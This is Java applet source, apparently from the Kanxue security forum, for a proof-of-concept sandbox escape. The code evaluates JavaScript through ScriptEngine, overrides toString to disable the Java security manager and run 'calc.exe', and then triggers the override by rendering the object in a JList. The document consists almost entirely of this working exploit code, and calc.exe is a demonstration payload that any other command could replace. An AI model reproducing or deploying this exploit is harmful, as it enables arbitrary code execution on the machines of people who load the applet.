import java.applet.Applet; import javax.script.*; import javax.swing.JList; public class ScriptEngineExp extends Applet { private JList list; public void init() { try { ScriptEngine se = new ScriptEngineManager().getEngineByName("js"); se.eval("var error = new Error(\"My error\");" + "this.toString = function(){ " + "java.lang.System.setSecurityManager(null);" + "java.lang.Runtime.getRuntime().exec(\"calc.exe\");" + "return \"exploit!\";};" + "error.message = this;"); list = new JList(new Object[]{se.get("error")}); this.add(list); } catch (ScriptException ex) { ex.printStackTrace(); } } }
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!